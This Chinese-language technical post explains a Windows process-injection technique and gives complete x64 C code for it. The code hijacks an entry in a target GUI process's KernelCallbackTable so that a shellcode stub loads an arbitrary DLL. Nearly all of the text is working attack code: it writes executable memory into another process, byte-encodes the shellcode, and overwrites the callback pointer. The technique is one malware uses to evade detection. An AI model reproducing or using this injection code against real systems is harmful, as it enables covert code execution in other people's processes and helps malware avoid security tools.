注入方法很多,大多都是主动式创建线程、挂载APC等。这里通过修改内核回调表中的表项使得内核对应用层调用时劫持程序流程,进而执行加载库注入。
主要操作流程:
向目标进程中分配一块可读可写可执行内存,向内存中写入一段shellcode用于加载动态库以及跳转至真正的函数。
修改内核回调表,使其指向shellcode。
因此涉及进程对象操作的只需要ReadProcessMemory、WriteProcessMemory、VirtualAllocEx就可以完成代码注入。但是此方法只能针对GUI进程。若进程没有使用GUI则内核回调表将为空指针。内核回调表中存放的都是指向user32下的函数,大多数都是绘图数据操作。
该表中有很多内核调用用户的函数地址。如:
fnCOPYDATA
fnCOPYGLOBALDATA
fnDWORD
fnNCDESTROY
fnDWORDOPTINLPMSG
fnINOUTDRAG
fnGETTEXTLENGTHS
fnINCNTOUTSTRING
fnPOUTLPINT
等等
当某个操作在内核中不能完成时,内核通过KeUserModeCallback函数,对应用层进行调用
NTSTATUS __stdcall KeUserModeCallback(
ULONG ApiNumber, //内核回调表索引
PVOID InputBuffer, //通过内核回调传入的输入缓冲区
ULONG InputLength, //输入缓冲区长度
PVOID *OutputBuffer, //当调用ZwCallbackReturn时将数据拷贝到输出缓冲区中
PULONG OutputLength //长度
);
ReactOS中在应用层中对此的描述:
在执行完函数之后通过ZwCallbackReturn返回内核层
NTSTATUS
NTAPI
NtCallbackReturn(
_In_ PVOID Result, //输出缓冲区
_In_ ULONG ResultLength, //输出长度
_In_ NTSTATUS CallbackStatus
//执行结果,该结果会当作KeUserModeCallback的状态返回
);
代码(x64):
#include <stdio.h>
#include <Windows.h>
#include <tchar.h>
#define DLL_NAME "X:\\xxx\\xxx\\xxx\\xxx.dll"
#define GLOBAL_EVENT _T("Global\\Inject")
#pragma pack(push)
#pragma pack(1)
typedef struct _CODE_STRUCT
{
BYTE Restore[0x18];
//BYTE MovMemw[3];
//UINT32 Offset;
//BYTE MovByte[2];
BYTE MovRcx[2];
UINT64 Rcx;
BYTE SubRsp[3];
UINT32 Sub;
BYTE MovRax[2];
UINT64 Rax;
BYTE CallRax[2];
BYTE AddRsp[3];
UINT32 Add;
BYTE RecovMovRax[2];
UINT64 RecovAddr;
BYTE RecovMovRbx[2];
UINT64 RecovData;
BYTE RecovSaveRax[3];
BYTE Recovery[0x18];
BYTE JmpMem[6];
BYTE Ret;
ULONG_PTR Mem;
}CODE_STRUCT, * LPCODE_STRUCT;
typedef struct _JMP_RAX
{
BYTE MovRax[2];
UINT64 Rax;
BYTE JmpRax[2];
}JMP_RAX, * PJMP_RAX;
#pragma pack(pop)
CODE_STRUCT Codes = {
{0x50,0x51,0x52,0x53,0x55,0x41,0x50,0x41,0x51,0x41,0x52,0x41,0x53,0x41,0x54,0x41,0x55,0x41,0x56,0x41,0x57,0x56,0x57,0x9C}, //保存调用环境
//{0x66,0xC7,0x05}, -0x21L, {0xeb, ((BYTE) & ((CODE_STRUCT*)0)->Recovery) + sizeof(((CODE_STRUCT*)0)->Recovery) - 2 },//Unhook
{0x48,0xB9}, //修改Rcx
{0x0}, //Rcx
{0x48,0x81,0xEC}, //减少Rsp
{0x308}, //Rsp
{0x48,0xB8}, //修改Rax
{0x0}, //Rax
{0xFF,0xD0}, //Call Rax
{0x48,0x81,0xC4}, //增加Rsp
{0x308}, //Rsp
{0x48,0xB8}, //修改Rax
{0x0}, //Rax
{0x48,0xBB}, //修改Rbx
{0x0}, //Rbx
{0x48,0x89,0x18}, //SaveRbx
{0x9D,0x5F,0x5E,0x41,0x5F,0x41,0x5E,0x41,0x5D,0x41,0x5C,0x41,0x5B,0x41,0x5A,0x41,0x59,0x41,0x58,0x5D,0x5B,0x5A,0x59,0x58}, //恢复调用环境
{0xFF,0x25,0x01,0x00,0x00,0x00},//Jmp mem
{0xC3}, //Ret
{0x0} //mem
};
PVOID GetProcessKernelCall(HANDLE hProcess, DWORD Index);
int main()
{
DWORD dwPid;
printf("输入PID:");
scanf_s("%d", &dwPid);
BOOLEAN blSuccess = FALSE;
HANDLE hProc = NULL;
HMODULE hKernelBase = NULL;
HMODULE hKernel32 = NULL;
PBYTE RemoteCode = NULL;
HANDLE hLoadEvt[2] = { 0 };
SIZE_T OperSize;
do
{
SIZE_T dwWriteBytes;
PBYTE DllName;
hProc = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, dwPid);
if (!hProc)
break;
RemoteCode = VirtualAllocEx(hProc, NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!RemoteCode)
break;
printf("Alloc : %p\n", RemoteCode);
DllName = RemoteCode + 0x700;
if (!WriteProcessMemory(hProc, DllName, DLL_NAME, sizeof(DLL_NAME), &dwWriteBytes))
break;
hKernel32 = LoadLibrary(_T("Kernel32.dll"));
if (!hKernel32)
break;
PVOID lpfnLoadLibraryA = GetProcAddress(hKernel32, "LoadLibraryA");
if (!lpfnLoadLibraryA)
break;
hLoadEvt[0] = CreateEvent(NULL, FALSE, FALSE, GLOBAL_EVENT);
if (!hLoadEvt[0])
break;
hLoadEvt[1] = hProc;
//修改 0x2f 表项的函数指针、若无法成功可以换个更常用的函数,或者Hook多个。
PVOID TargetCallback = GetProcessKernelCall(hProc, 0x2f); if (!TargetCallback)
break;
LPVOID OldFunc;
if (!ReadProcessMemory(hProc, TargetCallback, &OldFunc, sizeof(OldFunc), &OperSize) || OperSize != sizeof(OldFunc))
break;
Codes.Rcx = (UINT64)DllName;
Codes.Rax = (UINT64)lpfnLoadLibraryA;
Codes.RecovAddr = TargetCallback;
Codes.RecovData = OldFunc;
Codes.Mem = OldFunc;
if (!WriteProcessMemory(hProc, RemoteCode, &Codes, sizeof(Codes), &dwWriteBytes))
break;
DWORD dwOldProtect;
VirtualProtectEx(hProc, TargetCallback, sizeof(RemoteCode), PAGE_READWRITE, &dwOldProtect);
if (!WriteProcessMemory(hProc, TargetCallback, &RemoteCode, sizeof(RemoteCode), &OperSize) || OperSize != sizeof(RemoteCode))
break;
//VirtualProtectEx(hProc, TargetCallback, sizeof(RemoteCode), dwOldProtect, &dwOldProtect);
WaitForMultipleObjects(2, hLoadEvt, FALSE, INFINITE);
printf("执行成功!\n");
blSuccess = TRUE;
} while (FALSE);
if (!blSuccess)
printf("错误:%d\n", GetLastError());
if (hProc)
{
//if (RemoteCode)
// VirtualFreeEx(hProc, RemoteCode, 0, MEM_RELEASE);
CloseHandle(hProc);
}
if (hKernelBase)
FreeLibrary(hKernelBase);
if (hKernel32)
FreeLibrary(hKernel32);
if (hLoadEvt[0])
CloseHandle(hLoadEvt[0]);
return 0;
}
//ntos源码来自于开源项目 ntos : [https://github.com/hfiref0x/NtCall64/blob/51925b30871963e9ff7f15ee2e69d9caaed519f4/Source/NtCall64/ntos.h]
#include "ntos.h"
PVOID GetProcessKernelCall(HANDLE hProcess, DWORD Index)
{
PROCESS_BASIC_INFORMATION BasicInfo;
ULONG ReturnSize;
if (!NT_SUCCESS(NtQueryInformationProcess(hProcess, ProcessBasicInformation, &BasicInfo, sizeof(BasicInfo), &ReturnSize)))
return NULL;
if (ReturnSize != sizeof(BasicInfo))
return NULL;
if (!BasicInfo.PebBaseAddress)
return NULL;
SIZE_T OperSize;
PEB PebInfo;
if (!ReadProcessMemory(hProcess, BasicInfo.PebBaseAddress, &PebInfo, sizeof(PebInfo), &OperSize) || OperSize != sizeof(PebInfo))
return NULL;
if (!PebInfo.KernelCallbackTable)
return NULL;
PVOID* KernelCallbackTable = (PVOID*)PebInfo.KernelCallbackTable;
PVOID* TargetCallback = &KernelCallbackTable[Index];
return TargetCallback;
}